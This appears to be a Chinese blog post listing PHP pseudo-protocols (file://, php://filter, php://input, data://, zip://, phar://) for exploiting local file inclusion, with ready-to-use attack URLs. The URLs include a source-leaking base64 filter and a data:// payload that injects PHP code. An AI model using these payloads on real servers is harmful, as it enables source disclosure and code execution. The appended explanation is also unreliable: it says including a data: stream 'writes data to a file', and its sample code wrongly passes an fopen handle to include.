php包含伪协议利用方法

一.file://

使⽤: file:// ⽂件的绝对路径和⽂件名

123.php?cmd=file://D:\xuexi\xiaopi\phpstudy_pro\www\123.txt

二.php://filter

123.php?cmd=php://filter/read=convert.base64-encode/resource=1.php

三.php://input

步骤一:123.php?cmd=php://input抓包

步骤二,右键修改请求方法,修改数据包

步骤三,放行访问

四.data://

⽤途:数据( RFC2397 )

123.php?cmd=data:text/plain,<?php phpinfo();?>

五.zip://

⽤途:读取压缩包内的⽂件(绝对路径 / 相对路径)

123.php?cmd=zip://D:\phpstudy_pro\WWW\2.zip%232.txt

六.phar://

⽤途:读取压缩包内的⽂件(绝对路径 / 相对路径)

123.php?cmd=phar://D:\phpstudy_pro\WWW\2.zip\2.txt

PHP中的伪协议可以用来访问不同的数据源,比如本地或远程文件。使用include语句结合特定的伪协议,可以实现向文件中写入数据的功能。这种方法通常不是最佳实践,因为它可以带来安全风险,比如可能会被用来执行远程文件包含(RFI)攻击。在正常开发中,应当使用更为安全的方法来处理文件读写操作。 一个简单的例子是使用data:伪协议。这个协议可以创建一个只存在于内存中的数据块,并且可以将其内容当作文件读取。下面是一个简单的示例代码: ```php <?php // 创建一个包含数据的字符串 $data = "这里是写入的数据"; // 使用data:伪协议将数据写入到一个“虚拟”文件中 $file = fopen("data:text/plain," . urlencode($data), 'r'); // 检查文件是否成功打开 if ($file) { // 将“虚拟”文件内容包含进来,这里就是将数据写入到当前的PHP脚本中 include $file; fclose($file); } ?> ``` 在这段代码中,我们首先将要写入的数据编码为URL编码格式,然后将其嵌入到data:伪协议中。接着,使用fopen函数以只读模式打开这个“文件”,并将内容包含进当前的PHP脚本中。这样,我们就把数据“写入”到了文件中。 需要注意的是,尽管这种方法可以实现写入操作,但并不意味着这是一个推荐的实践。在实际开发中,应当使用更安全的文件操作函数如file_put_contents()来处理文件写入。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值